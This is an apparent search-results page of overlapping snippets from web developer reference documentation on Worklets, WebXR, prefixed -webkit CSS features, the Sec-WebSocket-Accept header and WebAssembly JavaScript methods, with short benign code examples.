...an use one of the following classes: Name Description Location Specification PaintWorklet For programmatically generating an image where a CSS property expects a file. Access this interface through CSS.paintWorklet. Chrome: Main thread Gecko: Paint thread CSS Painting API AudioWorklet For audio processing with custom AudioNodes.
Web Audio render thread
Web Audio API AnimationWorklet For creating scroll-linked and other high performance procedural animations. Compositor thread CSS Animation Worklet API LayoutWorklet For defining the positioning and dimensions of custom elements. CSS Layout API For 3D rendering with
WebGL, you don't use Worklets. Instead, you write Vertex Shaders...
XMLDocument - Web APIs
several algorithms behave differently with the two types of documents. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#D4DDE4" fill="none"/><line x1="356" y1="25" x...
..."80" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#D4DDE4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/XMLDocument" target="_top"><rect x="386" y="1" width="110" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="441" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">XMLDocument</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Property Also inhe...
XRPermissionDescriptor.mode - Web APIs
The mode property of the XRPermissionDescriptor dictionary is a string taken from the XRSessionMode enumerated type, specifying which
Web XR session mode (inline, immersive-vr, or immersive-ar) the described permissions will be used for. Syntax xrPermissionDescriptor = { mode: xrSessionMode, requiredFeatures: reqFeatureList, optionalFeatures: optFeatureList }; xrPermissionDescriptor.mode = xrSessionMode; xrMode = xrPermissionDescriptor.mode; Value A DOMString whose value is one of the strings found in the XRSessionMode enumerated type: immersive-ar The session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. The session's environmentBlendMode indicates the method to be used to blen...
...se value is one of the strings found in the XRSessionMode enumerated type: immersive-ar The session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. The session's environmentBlendMode indicates the method to be used to blend the content together. Important: The immersive-ar mode is defined by the
WebXR Augmented Reality Module, which is not yet stable and should not be used other than for testing and experimentation. immersive-vr Indicates that the rendered session will be displayed using an immersive XR device in VR mode; it is not intended to be overlaid or integrated into the surrounding environment. The environmentBlendMode is expected to be opaque if possible, but might be additive...
...be additive if the hardware requires it. inline The output is presented inline within the context of an element in a standard HTML document, rather than occupying the full visual space. Inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available. Inline sessions don't require special hardware and should be avalable on any user agent offering
WebXR API support. Usage notes Examples The example below checks to ensure that permission has been granted to allow the user to use
WebXR for an immersive virtual reality experience. No specific features are specified during this query; see requiredFeatures and optionalFeatures for more information on specifying features during a
WebXR permission check. let xrPermissionDesc = { name: "xr", ...
... Working Draft Initial definition. ...
XRRigidTransform.matrix - Web APIs
remultiplied with a column vector to rotate the vector by the 3D rotation specified by the orientation, then translate it by the position. Syntax let matrix = xrRigidTransform.matrix; Value A Float32Array containing 16 entries which represents the 4x4 transform matrix which is described by the position and orientation properties. Usage notes Matrix format All 4x4 transform matrices used in
WebGL are stored in 16-element Float32Arrays. The values are stored into the array in column-major order; that is, each column is written into the array top-down before moving to the right one column and writing the next column into the array. Thus, for an array [a0, a1, a2, ..., a13, a14, a15], the matrix looks like this: [a[0]a[4]a[8]a[12]a[1]a[5]a[9]a[13]a[2]a[6]a[10]a[14]a[3]a[7]a[11]a[15]]\begi...
... let transform = new XRRigidTransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawGLObj...
...q_z^2) & 2(q_yq_z - q_xq_w) & p_y\\ 2(q_xq_z - q_yq_w) & 2(q_yq_z + q_xq_w) & 1 - 2(q_x^2 + q_y^2) & p_z\\ 0 & 0 & 0 & 1 \end{bmatrix} Examples In this example, a transform is created to create a matrix which can be used as a transform during rendering of
WebGL objects, in order to place objects to match a given offset and orientation. The matrix is then passed into a library function that uses
WebGL to render an object matching a given name using the transform matrix specified to position and orient it. ...
...library function that uses
WebGL to render an object matching a given name using the transform matrix specified to position and orient it. let transform = new XRRigidTransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawGLObject("magic-lamp", transform.matrix); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRRigidTransform.matrix' in that specification. Working Draft Initial definition. ...
XRViewerPose - Web APIs
Each XRViewerPose can have multiple views to represent, for example, the slight separation between the left and right eye. This view can represent anything from the point-of-view of a user's XR headset to the viewpoint represented by a player's movement of an avatar using mouse and keyboard, presented on the screen, to a virtual camera capturing the scene for a spectator. Properties In addition to the properties inherited from XRPose, XRViewerPose includes the following: views Read only An array of XRView objects, one for each viewpoint on the scene which is needed to represent the scene to the user. ...
...r each viewpoint on the scene which is needed to represent the scene to the user. A typical headset provides a viewer pose with two views whose eye property is either left or right, indicating which eye that view represents. Taken together, these views can reproduce the 3D effect when displayed on the XR device. Usage notes The XRViewerPose object is used to describe the state of a viewer of a
WebXR scene as it's tracked by the user's XR hardware. The viewer may be the virtual representation of the user, or it may represent another device or interface which may serve as the source of a position and orientation that make up a view upon the scene. For example, every player in a MMORPG might have an instance of XRViewerPose to provide a way to calculate what they can see; if the game provides...
...omes crucial. An XRViewerPose is always obtained and referenced relative to an existing XRReferenceSpace. This ensures that positions and orientations are reported using the expected relative coordinate system. To render a scene using the XRViewerPose representing the user's head, one would iterate over the views in the views array, rendering them one after another. By calling viewport() on the
WebGL context, specifying the XRView as input, you can get the viewport to use when rendering in order to draw the frame for that eye into the correct part of the drawing surface. Also, when rendering the scene for spectators or other players in a multiplayer game, the transform of the XRViewerPose can be used to determine both placement and facing direction of the other players in the game, so that...
...(gl.FRAMEBUFFER, glLayer.framebuffer); gl.clearColor(0, 0, 0, 1); gl.clearDepth(1); gl.clear(gl.COLOR_BUFFER_BIT, gl.DEPTH_BUFFER_BIT); for (let view of pose.views) { let viewport = glLayer.getViewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the scene for the eye view.eye */ } } Passing each view to getViewport() returns the
WebGL viewport to apply in order to cause the rendered output to be positioned correctly in the framebuffer for renderijng to the corresponding eye on the output device. This code is derived from Drawing a frame in Movement, orientation, and motion: A
WebXR example. You can see more context and see much more on that page. Specifications Specification Status Comment
WebXR De...
-webkit-mask-box-image - CSS: Cascading Style Sheets
none Used to specify that a border box is to have no mask image. <length> The size of the mask image's offset. See <length> for possible units. ...
... none Used to specify that a border box is to have no mask image. <length> The size of the mask image's offset. See <length> for possible units. ...
... none Used to specify that a border box is to have no mask image. <length> The size of the mask image's offset. See <length> for possible units. <percentage> The mask image's offset has a percentage value relative to the border box's corresponding dimension (width or height). ...
...round The mask image is stretched somewhat and repeated such that there is no partial mask image at the end of the border box. space The mask image is repeated as many times as possible without stretching. There is no partial mask image at the end of the border box. Formal definition Value not found in DB! Formal syntax Syntax not found in DB! Examples Setting an image .exampleone { -
webkit-mask-box-image: url('mask.png'); } Offsetting and filling an image .exampletwo { -
webkit-mask-box-image: url('logo.png') 100 100 0 0 round round; } Specifications Not part of any standard. ...
-webkit-text-fill-color - CSS: Cascading Style Sheets
The -
webkit-text-fill-color CSS property specifies the fill color of characters of text. If this property is not set, the value of the color property is used. /* <color> values */ -
webkit-text-fill-color: red; -
webkit-text-fill-color: #000000; -
webkit-text-fill-color: rgb(100, 200, 0); /* Global values */ -
webkit-text-fill-color: inherit; -
webkit-text-fill-color: initial; -
webkit-text-fill-color: unset; Syntax Values <color> The foreground fill color of the element's text content. Formal definition Initial valuecurrentcolorApplies toall elementsInheritedyesComputed valuecomputed colorAnimation typea color Formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = ...
... Non-standard unofficial documentat...
... Non-standard unofficial documentation Initial definition ...
...amples Changing the fill color CSS p { margin: 0; font-size: 3em; -
webkit-text-fill-color: green; } HTML <p>This text is green.</p> Results Specifications Specification Status Comment Compatibility StandardThe definition of '-
webkit-text-fill-color' in that specification. Living Standard Initial standardization Safari CSS Reference '-
webkit-text-fill-color' in that document. Non-standard unofficial documentation Initial definition ...
-webkit-text-stroke-color - CSS: Cascading Style Sheets
The -
webkit-text-stroke-color CSS property specifies the stroke color of characters of text. If this property is not set, the value of the color property is used. /* <color> values */ -
webkit-text-stroke-color: red; -
webkit-text-stroke-color: #e08ab4; -
webkit-text-stroke-color: rgb(200, 100, 0); /* Global values */ -
webkit-text-stroke-color: inherit; -
webkit-text-stroke-color: initial; -
webkit-text-stroke-color: unset; Syntax Values <color> The color of the stroke. Formal definition Initial valuecurrentcolorApplies toall elementsInheritedyesComputed valuecomputed colorAnimation typea color Formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage...
...ue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...ng the stroke color HTML <p>Text with stroke</p> <input type="color" value="#ff0000"> CSS p { margin: 0; font-size: 4em; -
webkit-text-stroke-width: 3px; -
webkit-text-stroke-color: #ff0000; /* Can be changed in the live sample */ } JavaScript var colorPicker = document.querySelector("input"); colorPicker.addEventListener("change", function(evt) { document.querySelector("p").style.
webkitTextStrokeColor = evt.target.value; }); Results Specifications Specification Status Comment Compatibility StandardThe definition of '-
webkit-text-stroke-color' in that specification. Living Standard Initial standardization Safari CSS Reference '-
webkit-text-stroke-color' in that document. Non-standard unofficial documentation Initial do...
::-webkit-meter-inner-element - CSS: Cascading Style Sheets
::-
webkit-meter-inner-element is a proprietary
WebKit CSS pseudo-element for selecting and applying styles to to the outer containing element of a <meter> element. Additional markup to render the meter element as read-only. Syntax ::-
webkit-meter-inner-element Specifications Not part of any standard. Examples This will only work in
WebKit and Blink-based browsers, such as Safari, Chrome, and Chromium-based versions of Edge. ...
...> element. Additional markup to render the meter element as read-only. Syntax ::-
webkit-meter-inner-element Specifications Not part of any standard. Examples This will only work in
WebKit and Blink-based browsers, such as Safari, Chrome, and Chromium-based versions of Edge. ...
...:-
webkit-meter-inner-element Specifications Not part of any standard. Examples This will only work in
WebKit and Blink-based browsers, such as Safari, Chrome, and Chromium-based versions of Edge. ...
...ecifications Not part of any standard. Examples This will only work in
WebKit and Blink-based browsers, such as Safari, Chrome, and Chromium-based versions of Edge. ...
::-webkit-scrollbar - CSS: Cascading Style Sheets
The ::-
webkit-scrollbar CSS pseudo-element affects the style of the scrollbar of an element. ::-
webkit-scrollbar is only available in Blink- and
WebKit-based browsers (e.g., Chrome, Edge, Opera, Safari, all browsers on iOS, and others). CSS Scrollbar Selectors You can use the following pseudo elements to customize various parts of the scrollbar for
webkit browsers: ::-
webkit-scrollbar -- the entire scrollbar. ::-
webkit-scrollbar-button -- the buttons on the scrollbar (arrows pointing upwards and downwards). ::-
webkit-scrollbar-thumb -- the draggable scrolling handle. ::-
webkit-scrollbar-track -- the track (progress bar) of the scrollbar. ::-
webkit-scrollbar-track-piece -- the part of the track (progress bar) not covered by the handle. ...
...t browsers: ::-
webkit-scrollbar -- the entire scrollbar. ::-
webkit-scrollbar-button -- the buttons on the scrollbar (arrows pointing upwards and downwards). ::-
webkit-scrollbar-thumb -- the draggable scrolling handle. ::-
webkit-scrollbar-track -- the track (progress bar) of the scrollbar. ::-
webkit-scrollbar-track-piece -- the part of the track (progress bar) not covered by the handle. ::-
webkit-scrollbar-corner -- the bottom corner of the scrollbar, where both horizontal and vertical scrollbars meet. ::-
webkit-resizer -- the draggable resizing handle that appears at the bottom corner of some elements. Syntax Syntax not found in DB! Examples .visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; ...
...e bottom corner of the scrollbar, where both horizontal and vertical scrollbars meet. ::-
webkit-resizer -- the draggable resizing handle that appears at the bottom corner of some elements. ...
...lements. Syntax Syntax not found in DB! Examples .visible-scrollbar, .invisible-scrollbar, .mostly-customized-scrollbar { display: block; width: 10em; overflow: auto; height: 2em; } .invisible-scrollbar::-
webkit-scrollbar { display: none; } /* Demonstrate a "mostly customized" scrollbar * (won't be visible otherwise if width/height is specified) */ .mostly-customized-scrollbar::-
webkit-scrollbar { width: 5px; height: 8px; background-color: #aaa; /* or add it to the track */ } /* Add a thumb */ .mostly-customized-scrollbar::-
webkit-scrollbar-thumb { background: #000; } <div class="visible-scrollbar"> Etiam sagittis sem sed lacus laoreet, eu fermentum eros auctor. Proin at nulla elementum, consectetur ex eget, commodo ante. Sed eros mi, bibendum ut dignissim...
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
The -
webkit-device-pixel-ratio is a non-standard Boolean CSS media feature which is an alternative to the standard resolution media feature. Note: This media feature is a
WebKit feature. If possible, use the resolution media feature query instead. Syntax The -
webkit-device-pixel-ratio feature is specified as a <number> value. It is a range feature, meaning that you can also use the prefixed -
webkit-min-device-pixel-ratio and -
webkit-max-device-pixel-ratio variants to query minimum and maximum values, respectively. Values <number> The number of device pixels used to represent each CSS px. Although the value is a <number>, and thus doesn't syntactically allow units, its implicit unit is dppx. ...
... can also use the prefixed -
webkit-min-device-pixel-ratio and -
webkit-max-device-pixel-ratio variants to query minimum and maximum values, respectively. Values <number> The number of device pixels used to represent each CSS px. Although the value is a <number>, and thus doesn't syntactically allow units, its implicit unit is dppx. Implementation /* A unit of "dppx" is implied: */ @media (-
webkit-min-device-pixel-ratio: 2) { ... } /* ... is equivalent to: */ @media (min-resolution: 2dppx) { ... } /* Similarly: */ @media (-
webkit-max-device-pixel-ratio: 2) { ... } /* ... is equivalent to: */ @media (max-resolution: 2dppx) { ... ...
.../* A unit of "dppx" is implied: */ @media (-
webkit-min-device-pixel-ratio: 2) { ... } /* ... is equivalent to: */ @media (min-resolution: 2dppx) { ... } /* Similarly: */ @media (-
webkit-max-device-pixel-ratio: 2) { ... } /* ... is equivalent to: */ @media (max-resolution: 2dppx) { ... ...
... equivalent to: */ @media (min-resolution: 2dppx) { ... } /* Similarly: */ @media (-
webkit-max-device-pixel-ratio: 2) { ... } /* ... is equivalent to: */ @media (max-resolution: 2dppx) { ... } Examples HTML <p>This is a test of your device's pixel density.</p> CSS /* Exact resolution */ @media (-
webkit-device-pixel-ratio: 1) { p { color: red; } } /* Minimum resolution */ @media (-
webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* Maximum resolution */ @media (-
webkit-max-device-pixel-ratio: 3) { p { background: yellow; } } Result Specifications Specification Status Comment Compatibility StandardThe definition of '-
webkit-device-pixel-ratio' in that specification. Living Standard Initial standardization ...
Sec-WebSocket-Accept - HTTP
The Sec-
WebSocket-Accept header is used in the
websocket opening handshake. It would appear in the response headers. That is, this is header is sent from server to client to inform that server is willing to initiate a
websocket connection. Header type Response header Forbidden header name no Syntax Sec-
WebSocket-Accept: <hashed key> Directives <hashed key> The server takes the value of the Sec-
WebSocket-Key sent in the handshake request, appends 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, takes SHA-1 of the new value, and is then base64 encoded. ...
...to initiate a
websocket connection. Header type Response header Forbidden header name no Syntax Sec-
WebSocket-Accept: <hashed key> Directives <hashed key> The server takes the value of the Sec-
WebSocket-Key sent in the handshake request, appends 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, takes SHA-1 of the new value, and is then base64 encoded. ...
...cket-Accept: <hashed key> Directives <hashed key> The server takes the value of the Sec-
WebSocket-Key sent in the handshake request, appends 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, takes SHA-1 of the new value, and is then base64 encoded. ...
...> Directives <hashed key> The server takes the value of the Sec-
WebSocket-Key sent in the handshake request, appends 258EAFA5-E914-47DA-95CA-C5AB0DC85B11, takes SHA-1 of the new value, and is then base64 encoded. ...
WebAssembly.Instance.prototype.exports - JavaScript
The exports readonly property of the
WebAssembly.Instance object prototype returns an object containing as its members all the functions exported from the
WebAssembly module instance, to allow them to be accessed and used by JavaScript. instance.exports Examples Using exports After fetching some
WebAssembly bytecode using fetch, we compile and instantiate the module using the
WebAssembly.instantiateStreaming() function, importing a JavaScript function into the
WebAssembly Module in the process. We then call an Exported
WebAssembly function that is exported by the Instance. ...
...ing some
WebAssembly bytecode using fetch, we compile and instantiate the module using the
WebAssembly.instantiateStreaming() function, importing a JavaScript function into the
WebAssembly Module in the process. We then call an Exported
WebAssembly function that is exported by the Instance. var importObject = { imports: { imported_func: function(arg) { console.log(arg); } } };
WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); Note: You can also find this example as instantiate-streaming.html on GitHub (view it live also). Specifications Specification
WebAssembly JavaScript InterfaceThe definition of '
WebAssembly.Instance: exports' in that specification. Browser compatib...
...y JavaScript InterfaceThe definition of '
WebAssembly.Instance: exports' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.Memory.prototype.buffer - JavaScript
The buffer prototype property of the
WebAssembly.Memory object returns the buffer contained in the memory. Examples Using buffer The following example (see memory.html on GitHub, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the
WebAssembly.instantiateStreaming() method, while importing the memory created in the line above. It then stores some values in that memory, then exports a function and uses it to sum some values. ...
... the buffer contained in the memory. Examples Using buffer The following example (see memory.html on GitHub, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the
WebAssembly.instantiateStreaming() method, while importing the memory created in the line above. It then stores some values in that memory, then exports a function and uses it to sum some values.
WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } }) .then(obj => { var i32 = new Uint32Array(memory.buffer); for (var i = 0; i < 10; i++) { i32[i] = i; } var sum = obj.instance.exports.accumulate(0, 10); console.log(sum); }); Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'buffer' in that specification. ...
...
WebAssembly JavaScript InterfaceThe definition of 'buffer' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.Memory.prototype.grow() - JavaScript
The grow() protoype method of the Memory object increases the size of the memory instance by a specified number of
WebAssembly pages. Syntax memory.grow(number); Parameters number The number of
WebAssembly pages you want to grow the memory by (each one is 64KiB in size). Return value The previous size of the memory, in units of
WebAssembly pages. Examples Using grow The following example creates a new
WebAssembly Memory instance with an initial size of 1 page (64KiB), and a maximum size of 10 pages (640KiB). ...
...ory.grow(number); Parameters number The number of
WebAssembly pages you want to grow the memory by (each one is 64KiB in size). Return value The previous size of the memory, in units of
WebAssembly pages. Examples Using grow The following example creates a new
WebAssembly Memory instance with an initial size of 1 page (64KiB), and a maximum size of 10 pages (640KiB). var memory = new
WebAssembly.Memory({initial:1, maximum:10}); We can then grow the instance by one page like so: const bytesPerPage = 64 * 1024; console.log(memory.buffer.byteLength / bytesPerPage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.byteLength / bytesPerPage); // "2" Note the return value of grow() here is the previous number of
WebAssembly pages. Sp...
...then grow the instance by one page like so: const bytesPerPage = 64 * 1024; console.log(memory.buffer.byteLength / bytesPerPage); // "1" console.log(memory.grow(1)); // "1" console.log(memory.buffer.byteLength / bytesPerPage); // "2" Note the return value of grow() here is the previous number of
WebAssembly pages. Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'grow()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome fo...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.Module.imports() - JavaScript
The
WebAssembly.imports() function returns an array containing descriptions of all the declared imports of the given Module. Syntax
WebAssembly.Module.imports(module); Parameters module A
WebAssembly.Module object. Return value An array containing objects representing the imported functions of the given module. Exceptions If module is not a
WebAssembly.Module object instance, a TypeError is thrown. Examples Using imports The following example (see imports.html source code; see it live also) compiles the loaded simple.wasm module. This module is then queried for its imports. ...
...Assembly.Module object. Return value An array containing objects representing the imported functions of the given module. Exceptions If module is not a
WebAssembly.Module object instance, a TypeError is thrown. Examples Using imports The following example (see imports.html source code; see it live also) compiles the loaded simple.wasm module. This module is then queried for its imports.
WebAssembly.compileStreaming(fetch('simple.wasm')) .then(function(mod) { var imports =
WebAssembly.Module.imports(mod); console.log(imports[0]); }); The output looks like this: { module: "imports", name: "imported_func", kind: "function" } Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'imports()' in that specification. Browser com...
...
WebAssembly JavaScript InterfaceThe definition of 'imports()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.Table.prototype.get() - JavaScript
The get() prototype method of the
WebAssembly.Table() object retrieves a function reference stored at a given index. Syntax table.get(index); Parameters index The index of the function reference you want to retrieve. Return value A function reference -- this is an exported
WebAssembly function, a JavaScript wrapper for an underlying wasm function. Exceptions If index is greater than or equal to Table.prototype.length, a RangeError is thrown. Examples Using get The following example (see table.html on GitHub, and view it live also) compiles and instantiates the loaded table.wasm byte code using the
WebAssembly.instantiateStreaming() method. It then retrieves the references stored in the exported table. ...
...for an underlying wasm function. Exceptions If index is greater than or equal to Table.prototype.length, a RangeError is thrown. Examples Using get The following example (see table.html on GitHub, and view it live also) compiles and instantiates the loaded table.wasm byte code using the
WebAssembly.instantiateStreaming() method. It then retrieves the references stored in the exported table.
WebAssembly.instantiateStreaming(fetch('table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); Note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) -- it is a function ra...
...tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); Note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) -- it is a function rather than a simple value. Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'get()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileServerChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.Table.prototype.grow() - JavaScript
The grow() prototype method of the
WebAssembly.Table object increases the size of the Table instance by a specified number of elements. Syntax table.grow(number); Parameters number The number of elements you want to grow the table by. Return value The previous length of the table. Exceptions If the grow() operation fails for whatever reason, a RangeError is thrown. Examples Using grow The following example creates a new
WebAssembly Table instance with an initial size of 2 and a maximum size of 10. ...
... Syntax table.grow(number); Parameters number The number of elements you want to grow the table by. Return value The previous length of the table. Exceptions If the grow() operation fails for whatever reason, a RangeError is thrown. Examples Using grow The following example creates a new
WebAssembly Table instance with an initial size of 2 and a maximum size of 10. var table = new
WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 }); You can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'grow()' in that specification. Browser compatibility The c...
...
WebAssembly JavaScript InterfaceThe definition of 'grow()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.compile() - JavaScript
The
WebAssembly.compile() function compiles
WebAssembly binary code into a
WebAssembly.Module object. This function is useful if it is necessary to a compile a module before it can be instantiated (otherwise, the
WebAssembly.instantiate() function should be used). Syntax Promise<
WebAssembly.Module>
WebAssembly.compile(bufferSource); Parameters bufferSource A typed array or ArrayBuffer containing the binary code of the .wasm module you want to compile. Return value A Promise that resolves to a
WebAssembly.Module object representing the compiled module. Exceptions If bufferSource is not a typed array, a TypeError is thrown. If compilation fails, the promise rejects with a
WebAssembly.CompileError. Examples Using compile The following example compiles the loaded simple.wasm b...
...ay, a TypeError is thrown. If compilation fails, the promise rejects with a
WebAssembly.CompileError. Examples Using compile The following example compiles the loaded simple.wasm byte code using the compile() function and then sends it to a worker using postMessage(). var worker = new Worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arrayBuffer() ).then(bytes =>
WebAssembly.compile(bytes) ).then(mod => worker.postMessage(mod) ); Note: You'll probably want to use
WebAssembly.compileStreaming() in most cases, as it is more efficient than compile(). Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'compile()' in that specification. Browser compatibility The compatibility table on this page is g...
...
WebAssembly JavaScript InterfaceThe definition of 'compile()' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
WebAssembly.validate() - JavaScript
Return value A boolean that specifies whether bufferSource is valid wasm code (true) or not (false). Exceptions If bufferSource is not a typed array or ArrayBuffer, a TypeError is thrown. Examples Using validate The following example (see the validate.html source code, and see it live too) fetches a .wasm module and converts it into a typed array. The validate() method is then used to check whether the module is valid. ...
...s not a typed array or ArrayBuffer, a TypeError is thrown. Examples Using validate The following example (see the validate.html source code, and see it live too) fetches a .wasm module and converts it into a typed array. The validate() method is then used to check whether the module is valid. fetch('simple.wasm').then(response => response.arrayBuffer() ).then(function(bytes) { var valid =
WebAssembly.validate(bytes); console.log("The given bytes are " + (valid ? "" : "not ") + "a valid wasm module"); }); Specifications Specification
